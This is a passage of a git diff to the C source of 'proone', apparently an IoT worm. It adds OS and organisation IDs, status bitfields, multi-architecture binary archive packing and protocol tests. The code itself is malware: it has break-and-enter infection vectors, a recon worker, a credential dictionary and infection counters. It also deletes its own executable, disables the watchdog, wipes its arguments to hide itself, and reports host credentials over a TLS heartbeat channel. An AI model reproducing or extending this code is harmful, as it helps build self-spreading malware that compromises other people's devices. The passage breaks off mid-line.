prne_arch_fstr(ext); + os = prne_os_fstr(str_os); + if (os == PRNE_OS_NONE) { + fprintf(stderr, "** %s: unknown os \"%s\"\n", path, str_os); + proc_result = false; + continue; + } + arch = prne_arch_fstr(str_arch); if (arch == PRNE_ARCH_NONE) { - fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, ext); + fprintf(stderr, "** %s: unknown arch \"%s\"\n", path, str_arch); proc_result = false; continue; } - if (encounter_arr[arch] != NULL) { + if (encounter_arr[os][arch] != NULL) { fprintf( stderr, - "** Duplicate arch!\n%s\n%s\n", - encounter_arr[arch]->path, + "** Duplicate bin:\n%s\n%s\n", + encounter_arr[os][arch]->path, path); proc_result = false; continue; @@ -380,10 +417,11 @@ int main (const int argc, const char **args) { continue; } - archive_arr[archive_arr_cnt].arch = arch; + archive_arr[archive_arr_cnt].host.os = os; + archive_arr[archive_arr_cnt].host.arch = arch; archive_arr[archive_arr_cnt].path = path; archive_arr[archive_arr_cnt].st = st; - encounter_arr[arch] = &archive_arr[archive_arr_cnt]; + encounter_arr[os][arch] = &archive_arr[archive_arr_cnt]; archive_arr_cnt += 1; } if (!proc_result) { @@ -391,24 +429,29 @@ int main (const int argc, const char **args) { goto END; } - ba_len = ba_size = 4 + archive_arr_cnt * 4; - m_ba = (uint8_t*)prne_malloc(1, ba_size); + ba_size = 8 + archive_arr_cnt * 8; + m_ba = (uint8_t*)prne_calloc(1, ba_size); prne_assert(m_ba != NULL); // write head - m_ba[0] = (uint8_t)(archive_arr_cnt & 0xFF); - m_ba[1] = 0; - m_ba[2] = 0; - m_ba[3] = 0; - ba_len = 4; + m_ba[0] = 'p'; + m_ba[1] = 'r'; + m_ba[2] = '-'; + m_ba[3] = 'b'; + m_ba[4] = 'a'; + m_ba[5] = 0; + m_ba[6] = prne_getmsb16(archive_arr_cnt, 0); + m_ba[7] = prne_getmsb16(archive_arr_cnt, 1); + ba_len = 8; for (i = 0; i < archive_arr_cnt; i += 1) { archive = archive_arr + i; - m_ba[ba_len + 0] = (uint8_t)archive->arch; - m_ba[ba_len + 1] = prne_getmsb32(archive->st.st_size, 1); - m_ba[ba_len + 2] = prne_getmsb32(archive->st.st_size, 2); - m_ba[ba_len + 3] = prne_getmsb32(archive->st.st_size, 3); - ba_len += 4; + m_ba[ba_len + 2] = (uint8_t)archive->host.os; + m_ba[ba_len + 3] = (uint8_t)archive->host.arch; + m_ba[ba_len + 5] = prne_getmsb32(archive->st.st_size, 1); + m_ba[ba_len + 6] = prne_getmsb32(archive->st.st_size, 2); + m_ba[ba_len + 7] = prne_getmsb32(archive->st.st_size, 3); + ba_len += 8; } // compress executables @@ -416,7 +459,7 @@ int main (const int argc, const char **args) { archive = archive_arr + i; /* FIXME - * Zero size arhive allowed? + * Zero size bin allowed? */ archive->m_exec = prne_malloc(1, archive->st.st_size); prne_assert(archive->m_exec != NULL); @@ -496,6 +539,8 @@ int main (const int argc, const char **args) { ret = do_rcb(o_prefix) ? 0 : 1; END: + prne_free(str_os); + prne_free(str_arch); prne_free(m_dv); prne_free(m_ba); for (size_t i = 0; i < archive_arr_cnt; i += 1) { diff --git a/src/proone-test_bitfield.c b/src/proone-test_bitfield.c new file mode 100644 index 0000000..97ae537 --- /dev/null +++ b/src/proone-test_bitfield.c @@ -0,0 +1,114 @@ +#include <stdio.h> +#include <assert.h> + +#include "util_rt.h" +#include "bitfield.h" + + +static void chk_func (void *ctx, const unsigned int bit, const bool v) { + static unsigned int nb_calls = 0; + + assert(nb_calls == bit); + nb_calls += 1; + assert(ctx == (void*)UINTPTR_MAX); + if (v) { + assert( + bit == 0 || + bit == 2 || + bit == 4 || + bit == 6 || + bit == 8 || + bit == 10 || + bit == 12 || + bit == 14); + } + else { + assert( + bit == 1 || + bit == 3 || + bit == 5 || + bit == 7 || + bit == 9 || + bit == 11 || + bit == 13 || + bit == 15); + } +} + +int main (void) { + static uint8_t bf[2]; + + assert(prne_bf_get_size(0) == 0); + assert(prne_bf_get_size(1) == 1); + assert(prne_bf_get_size(8) == 1); + assert(prne_bf_get_size(9) == 2); + assert(prne_bf_get_size(16) == 2); + assert(prne_bf_get_size(20) == 3); + assert(prne_bf_get_size(32) == 4); + + prne_memzero(bf, sizeof(bf)); + prne_bf_set(bf, 1, true); + prne_bf_set(bf, 3, true); + prne_bf_set(bf, 5, true); + prne_bf_set(bf, 7, true); + prne_bf_set(bf, 9, true); + prne_bf_set(bf, 11, true); + prne_bf_set(bf, 13, true); + prne_bf_set(bf, 15, true); + assert(prne_bf_test(bf, 0) == false); + assert(prne_bf_test(bf, 1) == true); + assert(prne_bf_test(bf, 2) == false); + assert(prne_bf_test(bf, 3) == true); + assert(prne_bf_test(bf, 4) == false); + assert(prne_bf_test(bf, 5) == true); + assert(prne_bf_test(bf, 6) == false); + assert(prne_bf_test(bf, 7) == true); + assert(prne_bf_test(bf, 8) == false); + assert(prne_bf_test(bf, 9) == true); + assert(prne_bf_test(bf, 10) == false); + assert(prne_bf_test(bf, 11) == true); + assert(prne_bf_test(bf, 12) == false); + assert(prne_bf_test(bf, 13) == true); + assert(prne_bf_test(bf, 14) == false); + assert(prne_bf_test(bf, 15) == true); + assert(bf[0] == 0xAA && bf[1] == 0xAA); + prne_bf_set(bf, 1, false); + prne_bf_set(bf, 3, false); + prne_bf_set(bf, 5, false); + prne_bf_set(bf, 7, false); + prne_bf_set(bf, 9, false); + prne_bf_set(bf, 11, false); + prne_bf_set(bf, 13, false); + prne_bf_set(bf, 15, false); + assert(prne_bf_test(bf, 0) == false); + assert(prne_bf_test(bf, 1) == false); + assert(prne_bf_test(bf, 2) == false); + assert(prne_bf_test(bf, 3) == false); + assert(prne_bf_test(bf, 4) == false); + assert(prne_bf_test(bf, 5) == false); + assert(prne_bf_test(bf, 6) == false); + assert(prne_bf_test(bf, 7) == false); + assert(prne_bf_test(bf, 8) == false); + assert(prne_bf_test(bf, 9) == false); + assert(prne_bf_test(bf, 10) == false); + assert(prne_bf_test(bf, 11) == false); + assert(prne_bf_test(bf, 12) == false); + assert(prne_bf_test(bf, 13) == false); + assert(prne_bf_test(bf, 14) == false); + assert(prne_bf_test(bf, 15) == false); + assert(bf[0] == 0x00 && bf[1] == 0x00); + + prne_memzero(bf, sizeof(bf)); + prne_bf_set(bf, 0, true); + prne_bf_set(bf, 2, true); + prne_bf_set(bf, 4, true); + prne_bf_set(bf, 6, true); + prne_bf_set(bf, 8, true); + prne_bf_set(bf, 10, true); + prne_bf_set(bf, 12, true); + prne_bf_set(bf, 14, true); + assert(bf[0] == 0x55 && bf[1] == 0x55); + prne_bf_foreach((void*)UINTPTR_MAX, bf, sizeof(bf), chk_func); + + return 0; +} diff --git a/src/proone-test_proto.c b/src/proone-test_proto.c index 6fad90f..1fb1c9d 100644 --- a/src/proone-test_proto.c +++ b/src/proone-test_proto.c @@ -160,6 +160,7 @@ static void test_ser (void) { "012345678901234567890123456789012345678901234567890123456789" "012345678901234567890123456789012345678901234567890123456789" "012345678901234567890123456789012345678901234567890123456789"; + static uint8_t BF[] = { 0x55, 0xAA }; // free functions should accept NULL prne_htbt_free_msg_head(NULL); @@ -378,6 +379,8 @@ static void test_ser (void) { hi_a.child_pid = 0xBABEBABE; hi_a.host_cred = cred_data; hi_a.host_cred_len = cred_data_len; + hi_a.bf = BF; + hi_a.bf_len = sizeof(BF); memcpy(hi_a.prog_ver, prog_ver, sizeof(prog_ver)); memcpy( hi_a.boot_id, @@ -387,21 +390,27 @@ static void test_ser (void) { hi_a.instance_id, "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85", 16); - hi_a.arch = prne_host_arch; + memcpy( + hi_a.org_id, + "\xa3\x0f\xd3\x5e\xe7\xe7\xc3\xb6\x8f\x74\xdf\xf6\x07\x45\x77\xfa", + 16); + hi_a.os = PRNE_HOST_OS; + hi_a.arch = PRNE_HOST_ARCH; assert(prne_htbt_ser_host_info( proto_buf, PRNE_HTBT_PROTO_MIN_BUF, &proto_buf_cnt_len, &hi_a) == PRNE_HTBT_SER_RC_OK); - assert( - proto_buf_cnt_len == 94 + cred_data_len && - memcmp(proto_buf, prog_ver, 16) == 0 && - memcmp( + assert(proto_buf_cnt_len == 112 + cred_data_len + sizeof(BF)); + assert(memcmp(proto_buf, prog_ver, 16) == 0); + assert(memcmp( proto_buf + 16, // boot_id "\x30\x1d\x25\x39\x90\x85\x42\xfd\x90\xb6\x20\x0b\x4a\x3b\x08\x55" // instance_id "\x25\xdc\x7e\xa2\x4a\xc6\x4a\x29\x9f\xac\xbe\x18\x42\x33\xc4\x85" + // org_id + "\xa3\x0f\xd3\x5e\xe7\xe7\xc3\xb6\x8f\x74\xdf\xf6\x07\x45\x77\xfa" "\xAB\xBA\xBA\xBE\xFE\xFF\xFF\xFE" // parent_uptime "\xDE\xAD\xBE\xEF\xAA\xBB\xCC\xDD" // child_uptime "\x88\x99\xAA\xBB\xCC\xDD\xEE\xFF" // bne_cnt @@ -409,10 +418,13 @@ static void test_ser (void) { "\x11\x22\x33\x44" // crash_cnt "\xDE\xAD\xBE\xEF" // parent_pid "\xBA\xBE\xBA\xBE", // child_pid - 76) == 0 && - (size_t)proto_buf[16 + 76] == cred_data_len && - proto_buf[16 + 76 + 1] == (uint8_t)prne_host_arch && - memcmp(proto_buf + 16 + 76 + 1 + 1, cred_data, cred_data_len) == 0); + 92) == 0); + assert((size_t)proto_buf[16 + 92 + 0] == cred_data_len); + assert(proto_buf[16 + 92 + 1] == (uint8_t)PRNE_HOST_ARCH); + assert(proto_buf[16 + 92 + 2] == (uint8_t)PRNE_HOST_OS); + assert(proto_buf[16 + 92 + 3] == sizeof(BF)); + assert(memcmp(proto_buf + 16 + 92 + 4, cred_data, cred_data_len) == 0); + assert(memcmp(proto_buf + 16 + 92 + 4 + cred_data_len, BF, sizeof(BF)) == 0); assert(prne_htbt_dser_host_info( proto_buf, proto_buf_cnt_len, @@ -421,8 +433,9 @@ static void test_ser (void) { assert(prne_htbt_eq_host_info(&hi_a, &hi_b)); hi_a.host_cred = NULL; hi_a.host_cred_len = 0; - // with ownership of host_cred - prne_htbt_alloc_host_info(&hi_a, cred_data_len); + hi_a.bf = NULL; + hi_a.bf_len = 0; + // with ownership of buffers assert(prne_htbt_ser_host_info( proto_buf, PRNE_HTBT_PROTO_MIN_BUF, @@ -546,16 +559,30 @@ static void test_ser (void) { assert(prne_htbt_eq_hover(&hv_a, &hv_b)); prne_htbt_free_hover(&hv_a); prne_htbt_free_hover(&hv_b); + + // TODO: test STDIO and RCB } static void test_enum (void) { + for (prne_os_t i = PRNE_OS_NONE + 1; i < NB_PRNE_OS; i += 1) { + assert(i == prne_os_fstr(prne_os_tostr(i))); + } + for (prne_os_t i = PRNE_OS_NONE + 1; i < NB_PRNE_OS; i += 1) { + assert(prne_os_tostr(i) != NULL); + } for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { assert(i == prne_arch_fstr(prne_arch_tostr(i))); } - for (prne_arch_t i = PRNE_ARCH_NONE + 1; i < NB_PRNE_ARCH; i += 1) { assert(prne_arch_tostr(i) != NULL); } + for (prne_iflag_t i = PRNE_IFLAG_NONE + 1; i < NB_PRNE_IFLAG; i += 1) { + assert(i == prne_iflag_fstr(prne_iflag_tostr(i))); + } + for (prne_iflag_t i = PRNE_IFLAG_NONE + 1; i < NB_PRNE_IFLAG; i += 1) { + assert(prne_iflag_tostr(i) != NULL); + } + for (prne_htbt_ser_rc_t i = 0; i < NB_PRNE_HTBT_SER_RC; i += 1) { assert(prne_htbt_serrc_tostr(i) != NULL); } diff --git a/src/proone.c b/src/proone.c index 15a5e28..8656534 100644 --- a/src/proone.c +++ b/src/proone.c @@ -89,9 +89,10 @@ static void alloc_resolv (void) { wkr_cnt += 1; pool4.ownership = false; pool6.ownership = false; + prne_bf_set(prne_g.flags, PRNE_IFLAG_WKR_RESOLV, true); } else if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) { - prne_dbgperr("prne_alloc_resolv()"); + prne_dbgperr("** prne_alloc_resolv()"); } END: @@ -112,13 +113,19 @@ static bool cb_htbt_hostinfo (void *ctx, prne_htbt_host_info_t *out) { out->parent_uptime = prne_sub_timespec(ts_now, prne_g.parent_start).tv_sec; out->child_uptime = prne_sub_timespec(ts_now, prne_g.child_start).tv_sec; if (prne_s_g != NULL) { + memcpy(out->org_id, prne_s_g->org_id, 16); out->bne_cnt = prne_s_g->bne_cnt; out->infect_cnt = prne_s_g->infect_cnt; - if (prne_htbt_alloc_host_info(out, prne_s_g->host_cred_len)) { + if (prne_htbt_alloc_host_info( + out, + prne_s_g->host_cred_len, + sizeof(prne_g.flags))) + { memcpy( out->host_cred, prne_s_g->host_cred_data, prne_s_g->host_cred_len); + memcpy(out->bf, prne_g.flags, sizeof(prne_g.flags)); } out->crash_cnt = prne_s_g->crash_cnt; } @@ -137,7 +144,8 @@ static bool cb_htbt_hostinfo (void *ctx, prne_htbt_host_info_t *out) { out->instance_id, prne_g.instance_id, prne_op_min(sizeof(out->instance_id), sizeof(prne_g.instance_id))); - out->arch = prne_host_arch; + out->arch = PRNE_HOST_ARCH; + out->os = PRNE_HOST_OS; return true; } @@ -261,9 +269,10 @@ static void alloc_htbt (void) { pth_attr_set(wkr_arr[wkr_cnt].attr, PTH_ATTR_PRIO, PTH_PRIO_STD + 1); wkr_cnt += 1; + prne_bf_set(prne_g.flags, PRNE_IFLAG_WKR_HTBT, true); } else if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) { - prne_dbgperr("prne_alloc_htbt()"); + prne_dbgperr("** prne_alloc_htbt()"); } END: @@ -442,9 +451,10 @@ static void alloc_recon (void) { if (rcn != NULL) { param.ownership = false; wkr_cnt += 1; + prne_bf_set(prne_g.flags, PRNE_IFLAG_WKR_RCN, true); } else if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) { - prne_dbgperr("prne_alloc_recon()"); + prne_dbgperr("** prne_alloc_recon()"); } END: // CATCH @@ -455,7 +465,15 @@ static void alloc_workers (void) { for (size_t i = 0; i < sizeof(wkr_arr)/sizeof(prne_worker_t); i += 1) { prne_init_worker(wkr_arr + i); } - alloc_recon(); + + if (prne_g.has_ba) { + alloc_recon(); + } + else { + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_WARN) { + prne_dbgpf("* No bin archive. Not running recon worker.\n"); + } + } alloc_resolv(); alloc_htbt(); } @@ -772,13 +790,18 @@ static void init_proone (const char *self) { setup_dvault(); if (binarch_size > 0) { - prne_index_bin_archive( + prne_g.has_ba = PRNE_PACK_RC_OK == prne_index_bin_archive( prne_g.rcb_param.m_self + binarch_ofs, binarch_size, &prne_g.bin_archive); } - if (prne_g.bin_archive.nb_bin == 0) { - prne_dbgpf("* This executable has no binary archive!\n"); + if (prne_g.has_ba) { + prne_bf_set(prne_g.flags, PRNE_IFLAG_BA, true); + } + else { + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_WARN) { + prne_dbgpf("* This executable has no binary archive!\n"); + } } #undef ELF_EHDR_TYPE } @@ -790,10 +813,13 @@ static void deinit_proone (void) { } static void load_ssl_conf (void) { -#define BREAKIF_ERR(f) if (mret != 0) {\ - prne_dbgpf("%s() returned %d\n", f, mret);\ - break;\ -} +#define BREAKIF_ERR(f)\ + if (mret != 0) {\ + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) {\ + prne_dbgpf("** %s() returned %d\n", f, mret);\ + }\ + break;\ + } static const char *ALP_LIST[] = { PRNE_HTBT_TLS_ALP, NULL }; size_t dvlen = 0; int mret; @@ -1035,6 +1061,7 @@ static bool try_open_sg (const char *path, const bool shm, int *ret) { close(*ret); *ret = -1; } + prne_bf_set(prne_g.flags, PRNE_IFLAG_INIT_RUN, true); } return true; @@ -1101,7 +1128,9 @@ static bool init_shared_global (void) { 0); if (prne_s_g == MAP_FAILED) { prne_s_g = NULL; - prne_dbgperr("* Failed to initialise shared global"); + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) { + prne_dbgperr("** Failed to initialise shared global"); + } } else { // Session init code goes here @@ -1125,14 +1154,23 @@ static void deinit_shared_global (void) { prne_g.shm_fd = -1; } +static void gen_id (uint8_t *id) { + mbedtls_ctr_drbg_random(&prne_g.ssl.rnd, id, 16); +} + static void init_ids (void) { char line[37]; int fd = -1; - mbedtls_ctr_drbg_random( - &prne_g.ssl.rnd, - prne_g.instance_id, - sizeof(prne_g.instance_id)); + if (prne_s_g != NULL) { + if (prne_chkcmem(prne_s_g->instance_id, 16, prne_ciszero)) { + gen_id(prne_s_g->instance_id); + } + memcpy(prne_g.instance_id, prne_s_g->instance_id, 16); + } + else { + gen_id(prne_g.instance_id); + } do { // fake loop fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY); @@ -1162,7 +1200,33 @@ static void set_host_credential (const char *str) { sizeof(prne_s_g->host_cred_data), &prne_s_g->host_cred_len, (const unsigned char*)str, - strlen(str)); + prne_nstrlen(str)); +} + +static void set_org_id (const char *str) { + size_t olen; + + if (prne_s_g == NULL) { + return; + } + + mbedtls_base64_decode( + prne_s_g->org_id, + 16, + &olen, + (const unsigned char*)str, + prne_nstrlen(str)); +} + +static void rm_args (int *argc, char **args) { +#if PRNE_HOST_OS == PRNE_OS_LINUX + for (int i = 1; i < *argc; i += 1) { + prne_strzero(args[i]); + } + *argc = 1; +#else + #error "FIXME" +#endif } static void do_exec (const char *exec, char **args) { @@ -1177,7 +1241,9 @@ static void do_exec (const char *exec, char **args) { has_ss = sigprocmask(SIG_UNBLOCK, &ss, &old_ss) == 0; execv(exec, args); - prne_dbgperr("** exec()"); + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) { + prne_dbgperr("** exec()"); + } // exec() failed // Restore previous condifion @@ -1309,6 +1375,7 @@ static void init_bne (void) { if (prne_g.c_ssl.ready) { bne_param.htbt_ssl_conf = &prne_g.c_ssl.conf; } + bne_param.org_id = prne_g.instance_id; bne_param.vector.arr = VEC_ARR; bne_param.vector.cnt = sizeof(VEC_ARR)/sizeof(prne_bne_vector_t); @@ -1336,7 +1403,7 @@ static bool has_upbin (void) { } -int main (const int argc, const char **args) { +int main (int argc, char **args) { static int exit_code; static bool loop = true; static sigset_t ss_all; @@ -1361,7 +1428,8 @@ int main (const int argc, const char **args) { prne_g.shm_fd = -1; prne_init_rcb_param(&prne_g.rcb_param); prne_g.rcb_param.ba = &prne_g.bin_archive; - prne_g.rcb_param.self = prne_host_arch; + prne_g.rcb_param.self.os = PRNE_HOST_OS; + prne_g.rcb_param.self.arch = PRNE_HOST_ARCH; prne_init_bin_archive(&prne_g.bin_archive); mbedtls_x509_crt_init(&prne_g.ssl.ca); prne_mbedtls_entropy_init(&prne_g.ssl.entpy); @@ -1380,19 +1448,24 @@ int main (const int argc, const char **args) { /* inits that need outside resources. IN THIS ORDER! */ seed_ssl_rnd(false); load_ssl_conf(); - init_ids(); - init_bne(); if (!init_shared_global()) { - prne_dbgpf("*** Another instance detected.\n"); + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_FATAL) { + prne_dbgpf("*** Another instance detected.\n"); + } exit_code = PRNE_PROONE_EC_LOCK; goto END; } - delete_myself(args[0]); - disasble_watchdog(); - if (argc > 1) { set_host_credential(args[1]); } + if (argc > 2) { + set_org_id(args[2]); + } + init_ids(); + init_bne(); + delete_myself(args[0]); + disasble_watchdog(); + rm_args(&argc, args); // post-init { @@ -1423,7 +1496,9 @@ int main (const int argc, const char **args) { static pid_t f_ret; static sigset_t ss; - prne_dbgpf("* Child: %d\n", prne_g.child_pid); + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { + prne_dbgpf("* Child: %d\n", prne_g.child_pid); + } WAIT_LOOP: prne_assert(sigwait(&ss_all, &caught_signal) == 0); @@ -1453,16 +1528,20 @@ WAIT_LOOP: } if (WIFEXITED(status)) { - prne_dbgpf( - "* Child process %d exited with code %d!\n", - prne_g.child_pid, - WEXITSTATUS(status)); + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_DBG0) { + prne_dbgpf( + "Child process %d exited with code %d.\n", + prne_g.child_pid, + WEXITSTATUS(status)); + } if (WEXITSTATUS(status) == 0) { if (has_upbin()) { - prne_dbgpf( - "* Detected new bin: %s\n" - "Attempting to exec()\n", - prne_s_g->upbin_path); + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_INFO) { + prne_dbgpf( + "Detected new bin: %s\n" + "Attempting exec()\n", + prne_s_g->upbin_path); + } run_upbin(); // run_upbin() returns if fails } @@ -1472,10 +1551,12 @@ WAIT_LOOP: } } else if (WIFSIGNALED(status)) { - prne_dbgpf( - "** Child process %d received signal %d!\n", - prne_g.child_pid, - WTERMSIG(status)); + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_WARN) { + prne_dbgpf( + "** Child process %d received signal %d!\n", + prne_g.child_pid, + WTERMSIG(status)); + } } if (has_upbin()) { @@ -1498,7 +1579,9 @@ WAIT_LOOP: break; } else { - prne_dbgperr("** fork()"); + if (PRNE_DEBUG && PRNE_VERBOSE >= PRNE_VL_ERR) { + prne_dbgperr("** fork()"); + } sleep(1); } } diff --git a/src/proone.h b/src/proone.h index a53ac9d..0acb17f 100644 --- a/src/proone.h +++ b/src/proone.h @@ -2,6 +2,7 @@ #include "pack.h" #include "resolv.h" #include "cred_dict.h" +#include "bitfield.h" #include <stdint.h> #include <stdbool.h> @@ -33,6 +34,8 @@ struct prne_global { // TODO: tidy init code when finalised prne_rcb_param_t rcb_param; uint8_t *m_dvault; bool is_child; + bool has_ba; + uint8_t flags[prne_bf_get_size(NB_PRNE_IFLAG)]; prne_bin_archive_t bin_archive; prne_cred_dict_t cred_dict; @@ -71,6 +74,8 @@ struct prne_shared_global { char upbin_args[1024]; size_t host_cred_len; uint8_t host_cred_data[255]; + uint8_t instance_id[16]; + uint8_t org_id[16]; }; diff --git a/src/protocol.c b/src/protocol.c index e40c574..bb26392 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -14,34 +14,43 @@ #define RETIF_NULL(x) if (x == NULL) { return; } +const char *prne_os_tostr (const prne_os_t x) { + switch (x) { + case PRNE_OS_LINUX: return "linux"; + } + errno = EINVAL; + return NULL; +} + +prne_os_t prne_os_fstr (const char *str) { + for (prne_os_t i = PRNE_OS_NONE + 1; i < NB_PRNE_OS; i += 1) { + if (prne_nstreq(str, prne_os_tostr(i))) { + return i; + } + } + errno = EINVAL; + return PRNE_OS_NONE; +} + +bool prne_os_inrange (const prne_os_t x) { + return PRNE_OS_NONE < x && x < NB_PRNE_OS; +} + const char *prne_arch_tostr (const prne_arch_t x) { switch (x){ - case PRNE_ARCH_AARCH64: - return "aarch64"; - case PRNE_ARCH_ARMV4T: - return "armv4t"; - case PRNE_ARCH_ARMV7: - return "armv7"; - case PRNE_ARCH_X86_64: - return "x86_64"; - case PRNE_ARCH_I686: - return "i686"; - case PRNE_ARCH_MIPS: - return "mips"; - case PRNE_ARCH_MPSL: - return "mpsl"; - case PRNE_ARCH_PPC: - return "ppc"; - case PRNE_ARCH_SH4: - return "sh4"; - case PRNE_ARCH_M68K: - return "m68k"; - case PRNE_ARCH_ARC: - return "arc"; - case PRNE_ARCH_ARCEB: - return "arceb"; + case PRNE_ARCH_AARCH64: return "aarch64"; + case PRNE_ARCH_ARMV4T: return "armv4t"; + case PRNE_ARCH_ARMV7: return "armv7"; + case PRNE_ARCH_X86_64: return "x86_64"; + case PRNE_ARCH_I686: return "i686"; + case PRNE_ARCH_MIPS: return "mips"; + case PRNE_ARCH_MPSL: return "mpsl"; + case PRNE_ARCH_PPC: return "ppc"; + case PRNE_ARCH_SH4: return "sh4"; + case PRNE_ARCH_M68K: return "m68k"; + case PRNE_ARCH_ARC: return "arc"; + case PRNE_ARCH_ARCEB: return "arceb"; } - errno = EINVAL; return NULL; } @@ -52,7 +61,6 @@ prne_arch_t prne_arch_fstr (const char *str) { return i; } } - errno = EINVAL; return PRNE_ARCH_NONE; } @@ -61,6 +69,33 @@ bool prne_arch_inrange (const prne_arch_t x) { return PRNE_ARCH_NONE < x && x < NB_PRNE_ARCH; } +const char *prne_iflag_tostr (const prne_iflag_t x) { + switch (x) { + case PRNE_IFLAG_BA: return "ba"; + case PRNE_IFLAG_INIT_RUN: return "init_run"; + case PRNE_IFLAG_WKR_RCN: return "wkr_rcn"; + case PRNE_IFLAG_WKR_RESOLV: return "wkr_resolv"; + case PRNE_IFLAG_WKR_HTBT: return "wkr_htbt"; + } + errno = EINVAL; + return NULL; +} + +prne_iflag_t prne_iflag_fstr (const char *str) { + for (prne_iflag_t i = PRNE_IFLAG_NONE + 1; i < NB_PRNE_IFLAG; i += 1) { + if (prne_nstreq(str, prne_iflag_tostr(i))) { + return i; + } + } + errno = EINVAL; + return PRNE_IFLAG_NONE; +} + +bool prne_iflag_inrange (const prne_iflag_t x) { + return PRNE_IFLAG_NONE < x && x < NB_PRNE_IFLAG; +} + + bool prne_eq_ipaddr (const prne_ip_addr_t *a, const prne_ip_addr_t *b) { size_t l; @@ -266,28 +301,36 @@ prne_htbt_ser_rc_t prne_dec_host_cred ( void prne_htbt_init_host_info (prne_htbt_host_info_t *hi) { prne_memzero(hi, sizeof(prne_htbt_host_info_t)); - hi->arch = PRNE_ARCH_NONE; } bool prne_htbt_alloc_host_info ( prne_htbt_host_info_t *hi, - const size_t cred_len) + const size_t cred_len, + const size_t bf_len) { - void *ny_mem; + void *ny_mem[2]; - if (cred_len > 255) { + if (cred_len > 255 || bf_len > 255) { errno = EINVAL; return false; } - ny_mem = prne_calloc(1, cred_len); - if (ny_mem == NULL && cred_len > 0) { + ny_mem[0] = prne_calloc(1, cred_len); + ny_mem[1] = prne_calloc(1, bf_len); + if ((ny_mem[0] == NULL && cred_len > 0) || + (ny_mem[1] == NULL && bf_len > 0)) + { + prne_free(ny_mem[0]); + prne_free(ny_mem[1]); return false; } prne_free(hi->host_cred); - hi->host_cred = (uint8_t*)ny_mem; + hi->host_cred = (uint8_t*)ny_mem[0]; hi->host_cred_len = cred_len; + prne_free(hi->bf); + hi->bf = (uint8_t*)ny_mem[1]; + hi->bf_len = bf_len; return true; } @@ -298,6 +341,9 @@ void prne_htbt_free_host_info (prne_htbt_host_info_t *hi) { prne_free(hi->host_cred); hi->host_cred = NULL; hi->host_cred_len = 0; + prne_free(hi->bf); + hi->bf = NULL; + hi->bf_len = 0; } bool prne_htbt_eq_host_info ( @@ -592,11 +638,11 @@ prne_htbt_ser_rc_t prne_htbt_ser_host_info ( size_t *actual, const prne_htbt_host_info_t *in) { - if (in->host_cred_len > 255) { + if (in->host_cred_len > 255 || in->bf_len > 255) { return PRNE_HTBT_SER_RC_FMT_ERR; } - *actual = 94 + in->host_cred_len; + *actual = 112 + in->host_cred_len + in->bf_len; if (mem_len < *actual) { return PRNE_HTBT_SER_RC_MORE_BUF; } @@ -604,53 +650,57 @@ prne_htbt_ser_rc_t prne_htbt_ser_host_info ( memcpy(mem + 0, in->prog_ver, 16); memcpy(mem + 16, in->boot_id, 16); memcpy(mem + 32, in->instance_id, 16); - mem[48] = prne_getmsb64(in->parent_uptime, 0); - mem[49] = prne_getmsb64(in->parent_uptime, 1); - mem[50] = prne_getmsb64(in->parent_uptime, 2); - mem[51] = prne_getmsb64(in->parent_uptime, 3); - mem[52] = prne_getmsb64(in->parent_uptime, 4); - mem[53] = prne_getmsb64(in->parent_uptime, 5); - mem[54] = prne_getmsb64(in->parent_uptime, 6); - mem[55] = prne_getmsb64(in->parent_uptime, 7); - mem[56] = prne_getmsb64(in->child_uptime, 0); - mem[57] = prne_getmsb64(in->child_uptime, 1); - mem[58] = prne_getmsb64(in->child_uptime, 2); - mem[59] = prne_getmsb64(in->child_uptime, 3); - mem[60] = prne_getmsb64(in->child_uptime, 4); - mem[61] = prne_getmsb64(in->child_uptime, 5); - mem[62] = prne_getmsb64(in->child_uptime, 6); - mem[63] = prne_getmsb64(in->child_uptime, 7); - mem[64] = prne_getmsb64(in->bne_cnt, 0); - mem[65] = prne_getmsb64(in->bne_cnt, 1); - mem[66] = prne_getmsb64(in->bne_cnt, 2); - mem[67] = prne_getmsb64(in->bne_cnt, 3); - mem[68] = prne_getmsb64(in->bne_cnt, 4); - mem[69] = prne_getmsb64(in->bne_cnt, 5); - mem[70] = prne_getmsb64(in->bne_cnt, 6); - mem[71] = prne_getmsb64(in->bne_cnt, 7); - mem[72] = prne_getmsb64(in->infect_cnt, 0); - mem[73] = prne_getmsb64(in->infect_cnt, 1); - mem[74] = prne_getmsb64(in->infect_cnt, 2); - mem[75] = prne_getmsb64(in->infect_cnt, 3); - mem[76] = prne_getmsb64(in->infect_cnt, 4); - mem[77] = prne_getmsb64(in->infect_cnt, 5); - mem[78] = prne_getmsb64(in->infect_cnt, 6); - mem[79] = prne_getmsb64(in->infect_cnt, 7); - mem[80] = prne_getmsb32(in->crash_cnt, 0); - mem[81] = prne_getmsb32(in->crash_cnt, 1); - mem[82] = prne_getmsb32(in->crash_cnt, 2); - mem[83] = prne_getmsb32(in->crash_cnt, 3); - mem[84] = prne_getmsb32(in->parent_pid, 0); - mem[85] = prne_getmsb32(in->parent_pid, 1); - mem[86] = prne_getmsb32(in->parent_pid, 2); - mem[87] = prne_getmsb32(in->parent_pid, 3); - mem[88] = prne_getmsb32(in->child_pid, 0); - mem[89] = prne_getmsb32(in->child_pid, 1); - mem[90] = prne_getmsb32(in->child_pid, 2); - mem[91] = prne_getmsb32(in->child_pid, 3); - mem[92] = (uint8_t)in->host_cred_len; - mem[93] 